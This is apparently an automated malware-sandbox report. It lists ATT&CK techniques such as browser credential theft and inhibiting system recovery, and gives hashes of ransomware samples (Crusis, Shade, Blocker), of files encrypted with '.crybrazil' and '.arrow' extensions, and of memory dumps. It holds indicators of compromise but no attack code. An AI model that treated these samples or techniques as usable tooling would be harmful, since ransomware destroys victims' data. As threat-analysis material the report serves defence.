      SIP and Trust Provider Hijacking

      1
      T1553.003

      Credential Access

      Credentials from Password Stores

      2
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Windows Credential Manager

      1
      T1555.004

      Unsecured Credentials

      1
      T1552

      Credentials In Files

      1
      T1552.001

      Discovery

      Browser Information Discovery

      1
      T1217

      Query Registry

      1
      T1012

      System Information Discovery

      1
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Lateral Movement

      Collection

      Data from Local System

      1
      T1005

      Command and Control

      Exfiltration

      Impact

      Defacement

      1
      T1491

      Inhibit System Recovery

      2
      T1490

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ProPlusWW.msi.id-5620676D.[Peekabooo@qq.com].arrow
        Filesize

        24.4MB

        MD5

        d93a6481aebffb6d0d249872abb1b83e

        SHA1

        6d339d6affeede87b9d937c52027a0a5752c8afc

        SHA256

        0ceb9ef1236cd3d6f31bf91edb30f02ce8b476231dcfc3aa6e8276b5fd55e8d3

        SHA512

        a355b2c39bf1eb32f58fa481b70fd67aa9560dfe55b506a1a895dc45bb780f766f710899fb1891f7f153b17e4077927ba6371d27475d25cc8541d252fb5acd38

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC
        Filesize

        914B

        MD5

        e4a68ac854ac5242460afd72481b2a44

        SHA1

        df3c24f9bfd666761b268073fe06d1cc8d4f82a4

        SHA256

        cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

        SHA512

        5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
        Filesize

        1KB

        MD5

        a266bb7dcc38a562631361bbf61dd11b

        SHA1

        3b1efd3a66ea28b16697394703a72ca340a05bd5

        SHA256

        df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

        SHA512

        0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
        Filesize

        252B

        MD5

        3541b6c4c3efb161bbb27ea2df92bfac

        SHA1

        9c9d7b212f5cdf306e67f334e3ab70481ea82e73

        SHA256

        c58d4ae0307f7f06f1ca025f676fa10dbc9854d4ad54b06670e801a5305f98d5

        SHA512

        32347aca09729bb0e27a2e63363834544d13212621b0d5cff610b044e93823a7126385a03ac075505930077855394f87169acf5c408c867811d743a125162141

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        7cb1b4277eca7ec63e6e9f9e89ce19da

        SHA1

        5ce22579074dfd85333a67060a19683bacc34b07

        SHA256

        fed72719e7908b3cf3c9ce7144a518db88a6306b4364a9e29f3c5831c5e47a04

        SHA512

        8f460afd00d55fad5d5a7a9e6c79ac2a10f6cc667e66e9070cead035ca59ade180b7663132efd9afd4a5afcdb2cc182ab117dab64d0b21d99aeb1cecf2e35867

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        46febe16ad56b64163f8a3dd721230ef

        SHA1

        b01529ac64f48260420fbe86d0c9a294e7b3dd0d

        SHA256

        b8e37572e21af4e78ecd75439d9e760c8d3c7668e95c758d490771c41dee7a16

        SHA512

        1e8689c2d13146102ab0ddce72ccb83467ac6dfcbb54e9cdc4213e07a9e302b754336c3b51c4b8acfaf8ec7bb4c2f2f040c3b0932c35a9b08dd1daa616576d44

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        5c04f354671a241a065b26ab1304bad3

        SHA1

        8828475065cb049a16171a3d6f777bebd335e38b

        SHA256

        b6af4cfefa70d63498fe0612f9661c14a738b962a27d99036b2c097feebb2c7a

        SHA512

        24de1744367c90a12d56eb2e39d3c8182c3f6b333a4c7b68adaedb28e266c0a8d421e493f3e746844bea4ecebf448382315062b72044b9ce252d5df6d8159acc

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        0a1b3a1ec8d0f63b2ac29469c8d1f18b

        SHA1

        4926bcc9a68c080ef7950dbd7e4f4e37966a5e4b

        SHA256

        b1bdd2300d9ad0537e3c0bdabcbb212dbff7ccb3d35c64183edf83e5fac12843

        SHA512

        2ea3a0f5f372d73b7e2175df9c9f5cae65ade8d3eb8bc314fcebb7c0efa7c116f68030c851fa26ec218c76fcddb9522260d3527d3647aae2fe7be168bf2b42ec

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        e3ad8dd13f312511c4645fcce683392c

        SHA1

        83001e20a3aa29e5bc62e4370c1e08d6c94664ae

        SHA256

        42d27a156b5a7bc2d7e99dc250704c81d484035168f6db33be06b95f6532cfc3

        SHA512

        2c6aa844666dbcb0b4c8c47b5a2c0397ae561988126d4f2480a1d0c8288415631c1953dd4bb8560cbd6b991986051777bf02fe9304a461b56b39286ee98d2fc7

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        723df649d55a8053cc43f13e960db0c5

        SHA1

        acfff2e422bf9bf651b7b75bd743dd2c7063c189

        SHA256

        bc1b3386ca05bba8c2227a1d06bdd55d275f3299af2f39eb5d7a0543378a25e9

        SHA512

        62592eee72423ea408e863516f990b48408e5b0d33920b2ccb986fd736a59b7e84f37dcdcca72d1bc1d184baaee98d59102ea4088308c2886280e7607c47f45c

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        60b448ee84dedefa8b0fb03c359de26a

        SHA1

        38e3499330aec785ecf2d01b8ff1242ee586587e

        SHA256

        aa0fc2eb61fe6ce87d1e6f2d9a7018386a94d9ab65d1c50554d34879a69998b6

        SHA512

        b00329f60103bcfed55220476d8da2e69f22c547b740fb81e200ffa449a6cf4636dcdfebe4fe470f1ef44f9d126dcf2eb9125def98b2b8bdaaa6b9f42bb08c74

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        7efe35f5666ba32e05d48fba8d1a80c0

        SHA1

        9596d1bd628f735a6dbd926e35062f2f6566c576

        SHA256

        129d2f3ceaed86a7ea61786c7ed5b1a33b6c384ccb419348a86cecde3575240d

        SHA512

        61f4c474d0f4f05ebee88015b7dfa5f2a1f342dfe1364748b54b86f1018a59922dae25406b95f3805917dd69cfb058fffd1df69f9d377cd0b52f8759d0ceab8b

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        a1a58347616b438ac02ce8a1e2abfd40

        SHA1

        f7d5857739ecc43930fba47f9eb40c2cceb848e2

        SHA256

        680d30294b908b7ec0fe36bb39a5f080f97b15cb8f7665562d93d43cda674781

        SHA512

        6b13fe3481caa87d1e1a26960336e970a6d04f09ad6a26f6574f0bf6a4ee6ac4c2ac15fbfcf183ed3ad29aab651e2af649172382794192067072f61581c4e29d

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        7cc5c78015ba5f7c780fd3f38e68bea9

        SHA1

        be278db192b32273740d7429522d72ccb2edd149

        SHA256

        7e79e14069570b1440ee1a175f77537d7ab7afdf72dd396eed340642bf2076e6

        SHA512

        7911bb0831941cee9893da7f3a98f4009bf12c85e1ef1e97ae59e850173426d01f16b1b848b7fa66e5e6908636bfac131726f1d8821e0f9eddab383f056f7001

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        1a9b7fb6d24a2ede2bf55490128618ee

        SHA1

        666789bde6fe5e68d54e29bb22254088f80e7f4b

        SHA256

        9796987649d9015aa2d29e0db1730546757ad9ed967b1769ff38aeb8d80626a2

        SHA512

        4930fa6b9525f4fb78b765e278805565bd1d5ae8694620fb475acf2ee8bc39f1321aa209bcabcfb0321c94c4157eb26be5c59473f8dd60fd5a39d87b9032525a

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        635c4b9c7d3cac1843d53409db2dd7fc

        SHA1

        aed59439c7f3744d71a23bbf7c209dbbfe9b25c0

        SHA256

        a393aea41cd14a0d174530d2f8548d19c3ad7f925466cea97f3c40682b08c1fd

        SHA512

        58a19949b8174fd25dcde2b88caea880d0d348f4de711df3e6845e0243ce5f5039a5752dd072cd5fe8e80bf10c74af46fa295c03552efc06f2bcb87528089c28

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        0b2da943ba8b2f2fa7b62a626ea2811d

        SHA1

        beb882312e2a8e9f71409cb28385ad4339a8da7c

        SHA256

        ba7b49b7518458c9449f4c541b6677819540406e225eb55f4a80f791b0b7bacc

        SHA512

        9065503ffee41f49d5fe93f4afa1caf780d80f2816c398d9c66f2c67cfc289e7b0320e98e7321df2dd14db27d5ae1201dd569feb012db81ed1df29d8e4ac3aa8

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        0907a13dc2ea408a60e931b1d033bc85

        SHA1

        de772e8c797ebd8c0f4ae224f729cd104c82289f

        SHA256

        b99f15504f0e4771f12b269a2ed1a62f13e135b817c6d4ca5ddded9958bafca2

        SHA512

        6490ae616243a02854e4b647f7de6c6933c425e4462ce1d9d97b38f06e69ed0cae006fb8e1bddf5a2017050255c93b52888160f0567c79a56e34842b737f7302

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        aee868587c8d1991a27a80d148c53527

        SHA1

        002bfb024a00b4f7d0f8f825575a2185b54d7576

        SHA256

        28fdb53c8c9449181b41c29e09401e7f45f7ae945e5fff3180fc6b43f66656af

        SHA512

        0bf4b87f1ab38cd9857069f6527a7af1e52fa386d95c86a2a0677a0e4430d3f406a7ebdd82a0c877edc85b41533a384ed69e6f378b680dacad44eee3a52c9663

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        5e4811b4c7f0bd7db758fc7065c9adc1

        SHA1

        57a65ca857062fd6a98a35f5604d5dfc6107b59b

        SHA256

        69b1d5d105d4624c71a0927fca635259e06691d1687426d57431f53c74dcc842

        SHA512

        5fadfb1b69cb81da4da36901b107ee019c0f754f92f068f64c804b33f471de38ae8aafa123cf5c6d45358f6f5f29b3578dccb3bb3facef0f6ad3ec87124154bf

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        b2ac8b958bb9c91050aa6a55ffe2d977

        SHA1

        38ddf4f395deb1ccf5aaa465965021fe03b83dda

        SHA256

        9b43e43b79fcf1c322dd8e4f875c2af44f85590a5d4a6e2d18caaf333f39d4f3

        SHA512

        9f9e4c7e952eceafe78c0f904408fd972ef56ed12c5904a8473d66a3ef517e2d416c251ce88eae90f24d596032145d06497e8a2af7d155b5e737035ac2e352cf

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        59c3ab29ee65501ed155d70fe7e6fd04

        SHA1

        6a743a0ee60bcd3da736c3519c1b7782f8390366

        SHA256

        0558731f46efc0492996806a2b3a342a362121efe7ba1cf97020f7c56029c229

        SHA512

        2a2a3bca86e5397ae1da4e8951a2cf50f574296f8197d3e4a4ff694ce69261dcf94ee92c714b8275574c1a48f9489ee8f2da0dfb8893ce27708ace298517c185

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        023160d48bb1973f46aac1dc2185c8dd

        SHA1

        6b231cd64e9342940ace870c1438d38e188a663f

        SHA256

        1e8c34cae45fe3178c813d6f288b1570228e7fd84c738440e76652ca58f1845c

        SHA512

        0475e207a214ead1e8906cea0ba79ab2b7d1d2b0eb6611b2f2d1fa68e15af91e4739f12781439057dc83d08a7be71bcaa88c21d61bd801b7fff8c655c75cc01d

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
        Filesize

        242B

        MD5

        f9debbd48a62d5c3f8daa45f34f1ae84

        SHA1

        922568341c63e2359be008f1ab2c89955087d3a4

        SHA256

        7da9ab280e263b6153fa2bfd7b89ddfc83597c83d28127cc200353972a8b88e3

        SHA512

        c6dceb7121e7eaae20c725ba43bfaa933b95ce6ee47e6e19d15b99661c74e2563efd7d6f1149d5b9ceafe5daa0561539bcab36eb883bc0b1deef9913459ff786

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PLSLTMYI\bqMkpxhui[1].js
        Filesize

        34KB

        MD5

        ce07affa04803b8889da4add31fd43dc

        SHA1

        0fb5a8fcee96a30571493eab29d0e2a6555a16ff

        SHA256

        8c1495c44aec0fa67b5ea6caf921a72de269aff5387ae21fc97e22f94f4f7f3f

        SHA512

        f79974074d4f5f991d2acb486189d8c8668dc854c40dc586836359fc20d38c66d0f98303962c072e119a4ca0daf1156cb8ff476c9b3cebf785f37ae73b88567f

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Cab5CF2.tmp
        Filesize

        70KB

        MD5

        49aebf8cbd62d92ac215b2923fb1b9f5

        SHA1

        1723be06719828dda65ad804298d0431f6aff976

        SHA256

        b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

        SHA512

        bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\FolderN\Chikdjd.exe
        Filesize

        192KB

        MD5

        541241c3573506cb7d3c4890ea30f845

        SHA1

        9feac8d9a9fdfa8fe9ab3f7fd74d90d0e7fd8f0f

        SHA256

        ebbe44ed0503a0997b63e979f398c2bda54da5b57c25ae660cd107de070902ea

        SHA512

        634d19666e5ec8c25dbaa86d0e6a23e8e553a6655d83af1e5522b14ea52ecee673f083b8f4ad460d21a836fa635b1535b40e545fbd074c9bbf94b03300a6d723

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Tar5E6B.tmp
        Filesize

        181KB

        MD5

        4ea6026cf93ec6338144661bf1202cd1

        SHA1

        a1dec9044f750ad887935a01430bf49322fbdcb7

        SHA256

        8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

        SHA512

        6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

        Download Submit

      • C:\Users\Admin\Desktop\00320\HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        Filesize

        217KB

        MD5

        10597e7c2e644d9bd346844f08328c0b

        SHA1

        333242463e606a75f9fe69035d62c1a228126545

        SHA256

        711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e

        SHA512

        c124f57a783bac1231e1676122e483f4797fcf36bcc13aac322b58dee446b689cc70eea38670dc5c34469ebd902b1c78c7fb432a1f0fa335738cff1e22d3b34f

        Download Submit

      • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Blocker.dvjn-31cdbc1a2bc6fe4a2bdb1d889c6fa5952cb47e566d8cb5c09602887c3cb1aa6f.exe
        Filesize

        942KB

        MD5

        611cec4d0be6b6da848b7ae05f085e91

        SHA1

        aa9202dedb2c061916c350153580c6896174dafe

        SHA256

        31cdbc1a2bc6fe4a2bdb1d889c6fa5952cb47e566d8cb5c09602887c3cb1aa6f

        SHA512

        ae65ee33c79fb2d901c17a1fd695dd023ea0429a47bdb74824a9ae8e6cba3bf09f9290ae64de9e131d874ae09fef6313c6b448d29005667550716dc76d4bf885

        Download Submit

      • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Crusis.to-453dfb5846033893d35b3f6f52b8e6f183513f84c877ba9d09bdc57239487dd1.exe
        Filesize

        92KB

        MD5

        a43246f1ec961b42932f8b656b2f09fb

        SHA1

        2d09ae6a78e93d1b97de98ff6c8e3a146f2d6820

        SHA256

        453dfb5846033893d35b3f6f52b8e6f183513f84c877ba9d09bdc57239487dd1

        SHA512

        c0bfacc064e12359fe9b714dbd3ee3533b9ffa8b47df14ffd982ab55794b063c6cad28e30614e2c936c2586580a17b6e6c8fefd78fb77ad20798489e45f15587

        Download Submit

      • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe
        Filesize

        972KB

        MD5

        92073a096c689e8168fee4295c978af9

        SHA1

        6845a4e1bef44fe25ffdca2e414c785c6ae656d6

        SHA256

        41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b

        SHA512

        0bd9bc71d60b1b86973b3c7dd4a2f8495b5e298fc520915222617987c574dadb53e85042a17290a2b1e40adee3ec91b93c72ffa2a20860f971a8447faa8a53bf

        Download Submit

      • C:\Users\Admin\Desktop\ImportJoin.raw.crybrazil
        Filesize

        64KB

        MD5

        4666cf403e0b802a9fe939f077d81064

        SHA1

        72a4d873df059ae6140ab14663b402770e8c3853

        SHA256

        9439cf9950b249063f7027472a91dbabe5c00cc606646f284cc2bac8dffb1e4c

        SHA512

        977f15a568d2ebe4c93e66b93ac26e0389ba570d374b1de900e1e05e678a5ad71d3345df501a4efb0b81a7f1bd858a8273c22ecc70b1a075349d496d5dd9c9a1

        Download Submit

      • C:\Users\Admin\Desktop\RedoGet.pps.crybrazil
        Filesize

        64KB

        MD5

        591618c075c74082fe24afdf70a9cbf1

        SHA1

        080b13cd1cca2b7163127adb9f9fcee4d0b32947

        SHA256

        3d5210f27757b8bae991c30384125c666ece091446625bbb1cdef23ebc317c8f

        SHA512

        48da4bd3f102116c12643eb9ad2d8809bdaf87db06652e256878ad4e6d9a0404f0b1a8783818156e103029fef410103391798b283f559f710295920f8df58c92

        Download Submit

      • C:\Users\Admin\Desktop\SUA_CHAVE.html
        Filesize

        107B

        MD5

        f612fb50a230ef24b60257c38cd34a2a

        SHA1

        794ecd8b269cc3c9db122000f16153b966b8c691

        SHA256

        d8914579421880723fc53f20d50781ea106946cae7836864c1d6357562c735f1

        SHA512

        73fa58eb0cb4c0628523af1bdef233a9372ea46814e4886231c698cfed2affa122aea80b146f3bffb68e8c3d09a48abf5123fc2a9b3ddf1450a50dacdcb8dcf0

        Download Submit

      • C:\Users\Admin\Desktop\TestTrace.asf.crybrazil
        Filesize

        64KB

        MD5

        d4de7ed6e848ab263ecb0a7389598c90

        SHA1

        d0bfd5abc136344837767470e99c54a29373b719

        SHA256

        ee4fd3f4eda01fa2e573db5bca00fe9a2d5bb8c8e1ffa6afe3d57018eb48caf3

        SHA512

        8ef5ef16b30071d57a99fe79bfe94bffb4dbcb2d3eed96ea77b3c2229651adeec2eda9265c14852253c0d6d2c049597c3006f3ac98060ad1937de3101cf2c725

        Download Submit

      • C:\Users\Admin\Documents\AssertShow.xlsx
        Filesize

        16KB

        MD5

        f197198ad8e2d24b9731438aac2c7fef

        SHA1

        f3d5e268a81c86a0ddcc065db3a2339eea780dd6

        SHA256

        be7788b314f1a2a9f4aa8f9104a8ba308e315443451806bda150250b0f5fd32b

        SHA512

        e682471c9f4c806b87e2afddf35384fdfb473bccfcce72a2b2bed35d5e36625dfbb1a5dd4dd2a2c1ed268b1688ddffa5d1ed065682c4a5e19df7f03c3489c09c

        Download Submit

      • C:\Users\Admin\Documents\CompleteStep.pdf.crybrazil
        Filesize

        64KB

        MD5

        37db077dfacae998753b5f613a91e72f

        SHA1

        6e360244064823f424462b22ba01819fc1afc601

        SHA256

        53f24d4ceb5ea8cbba7cfa89297b685d0fedd7702b06df49ca2b3e6045a2079c

        SHA512

        f468b58edda12c643c50074c15d74db6f2efe04edd4e4d6e2c6f7895f8c8d20c5024bb5d45fb8b8f6baae3e1384250329b059823c411fdfae8b428635f58dadb

        Download Submit

      • C:\Users\Admin\Documents\CompressOpen.dot.crybrazil
        Filesize

        64KB

        MD5

        6b35a84e8979f502e1c949a39ae2ea49

        SHA1

        8f35f8ad3382642d42d11387b13c9b360557a924

        SHA256

        9cb58692bd84b346cf91d9c58820282b9b8c1042906ff7bac77e1da14a80f4df

        SHA512

        ebffb59977501ea0dc5b05326595a402d0ea1f68ee95150d790073111d8946989f9330699fe5341df594cd8f7d73a1b29130446e481368e0b2e036db5920d0bb

        Download Submit

      • C:\Users\Admin\Documents\ConnectRead.pot.crybrazil
        Filesize

        64KB

        MD5

        2edcdc16c9a2231c49a6949cf38e168b

        SHA1

        9147b5bbe9f7da0ec1337afb43e304af2ed42397

        SHA256

        cdf3cef7a11f78278279569a9b855d7bda24b064ea37cbbd212d27f79827ca54

        SHA512

        e1f86b7bca177626c72533493f90c067c2e7edbe66b9e1596c8d0dddae7eb481a328fc2551ddbab3632040aa1d9656e4881cb4dc02d3632f8311d152607b46e9

        Download Submit

      • C:\Users\Admin\Documents\DebugUndo.html.crybrazil
        Filesize

        531KB

        MD5

        a41d86d4e31e2d54b289849284060fc0

        SHA1

        4bc7fbfa4852be61b85f0bb0b0bbeec561629062

        SHA256

        f3fc779c7a802d7db8f156beba8309e89f54c9d5774294adf2329eafbd5f26a0

        SHA512

        be976780b647dd6fc7b980390c1f5845c0f773c4af278e791c652c348c10927e5cc6c2daa1768c4d6bfae289d04f72aad0b7347479e70267e9966bfdf8884f5a

        Download Submit

      • C:\Users\Admin\Documents\GetGroup.dotm.crybrazil
        Filesize

        128KB

        MD5

        939915666449b009eeb80fa41ee53e0c

        SHA1

        fb985cc50df5a53d694631ff8cedb1dcd93186b7

        SHA256

        54769ab42b8b7c46acffa0313b954386501868cfa37a8a6ae7c7a545dc3c924d

        SHA512

        cfaa07e0d23eca6739f8f1b4aad88fa6fb5c195a9b8fe0f4a823f0f796de82f9752daa42d10c01c43951ddfc67c24e3365abc0c197c61435902c5cb158d9d54f

        Download Submit

      • C:\Users\Admin\Documents\InvokeRegister.ods.crybrazil
        Filesize

        64KB

        MD5

        fba0bd41b1e855b9149024490b081005

        SHA1

        e91b52be4a715f993f7b18759d10c65a074efa08

        SHA256

        1bd7fc47f5efae84938eb217aa5982992b510b55ecadf61740cad336c3e733fb

        SHA512

        62b9a0555bb232ed8994f6df453e43e2e79310c87408794a9e21f6b932fe318f4d50f20bcdedf7dbae34c2968515000bfe38ea34aae200281cf1e8d3982328c9

        Download Submit

      • C:\Users\Admin\Documents\LimitGrant.xlsx.crybrazil
        Filesize

        64KB

        MD5

        e024598cde5fce4f477bb5d197f4b51b

        SHA1

        acea3c607e829d8b20eadacfe0da8cce9bc59e20

        SHA256

        2bb5887b91ce35f21d720acc5cf6038a5f3f221d0ff21e425eba913957b8568a

        SHA512

        92ff61e17055ee3d9c981d5e632394dc07a20d6b1ff9a8a7b37d27402fda3f595de9c537c0c795ec53f3ff2ac48bf4ae014c261261f4a36722803c6bb1056116

        Download Submit

      • C:\Users\Admin\Documents\RemoveDismount.ods.crybrazil
        Filesize

        192KB

        MD5

        15444c379a04ca6d3f63d3a6b08f8bfe

        SHA1

        27aebb98eaa814035f0a52cf1773cac001c93397

        SHA256

        99a1aa000d909892506cceddca813bba3e1dbf125589d8bb5f48b9f93ae12160

        SHA512

        10c9092620295b99a744dbe13b56e8ca3a849623dcc7484d1567367bc9f89a21e21f4f4702440d904f95f7b620cd1dfac91070a431961b347739a750c7e0b6b3

        Download Submit

      • C:\Users\Admin\Documents\SwitchPing.html.crybrazil
        Filesize

        128KB

        MD5

        d71080dd32a84024fa73d76f0cd92bf5

        SHA1

        e13f8d18573919ab740d2f28e7f7116f8d78fc1e

        SHA256

        add9369912840457f9413e5dd5d0c8342a28072274d2e53fd36df52e5ceaa32c

        SHA512

        abacdd656b1c841b71a55d8ad4b73359e2ff2c0d83c755f08b48d22c6aa2c833dd865a2808514425c7f87c254472a88785bf0c6615c17006d358caab8cd049f1

        Download Submit

      • C:\Users\Admin\Documents\TestWatch.pot.crybrazil
        Filesize

        64KB

        MD5

        840422b0831474fced284f041dabfcf7

        SHA1

        6b8ab96b46c08392902b912893205a491e943140

        SHA256

        6bbd2186bae07fd08026aff75de87a567be1b7ceb9edddc88041a2f028de0d28

        SHA512

        6036e037f4a81aaab29741a76318ab7f0ef013f82be4cef4226ade751a8e34ec426fc7a78728f55ed5ec4b7932cd954fc7e741150cea8e517dce3acd7ec2e2a7

        Download Submit

      • C:\Users\Admin\Documents\TraceClose.docm.crybrazil
        Filesize

        64KB

        MD5

        2e35aed1d6bc3368205087ab82e157c1

        SHA1

        b7bd4b9a6c42ce5ea4b73918c8182d5fdecd12e2

        SHA256

        5ca0a7077c7d1bb3b2f7ac8bcea17afe3e201c7b6d045dd6cf128d24e6db1921

        SHA512

        5b969278ccf8e2a268dbe9b38ba5233595bed410884fc06d1974d81c2b3d55bc7be323443440c487715eed504541a430c5c559e33e27eab3cf063891de490216

        Download Submit

      • \Users\Admin\AppData\Local\Temp\nsj257D.tmp\System.dll
        Filesize

        11KB

        MD5

        3f176d1ee13b0d7d6bd92e1c7a0b9bae

        SHA1

        fe582246792774c2c9dd15639ffa0aca90d6fd0b

        SHA256

        fa4ab1d6f79fd677433a31ada7806373a789d34328da46ccb0449bbf347bd73e

        SHA512

        0a69124819b7568d0dea4e9e85ce8fe61c7ba697c934e3a95e2dcfb9f252b1d9da7faf8774b6e8efd614885507acc94987733eba09a2f5e7098b774dfc8524b6

        Download Submit

      • \Users\Admin\AppData\Local\Temp\svhost.exe
        Filesize

        85KB

        MD5

        2e5f1cf69f92392f8829fc9c9263ae9b

        SHA1

        97b9ca766bbbdaa8c9ec960dc41b598f7fad82a5

        SHA256

        51985a57e085d8b17042f0cdc1f905380b792854733eb3275fd8fce4e3bb886b

        SHA512

        f7e096dd9d0fa3a3c04c01bf229c4b344798a4c8b7b848588c1d78cb9fadfa9b1d0fd53c1fe74d191d5561e9eb551a4a3fc918363f119ea60024dd3d67c83883

        Download Submit

      • memory/1868-93-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/1868-89-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/1868-91-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/1868-100-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/1868-95-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/1868-101-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/1868-97-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1868-98-0x0000000000400000-0x0000000000490000-memory.dmp

        Filesize

        576KB

        Download

      • memory/2412-10-0x0000000000F30000-0x0000000000F6C000-memory.dmp

        Filesize

        240KB

        Download

      • memory/2440-19777-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-19750-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-21084-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-21089-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-21092-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-21082-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-21074-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2440-10767-0x0000000000400000-0x0000000000607000-memory.dmp

        Filesize

        2.0MB

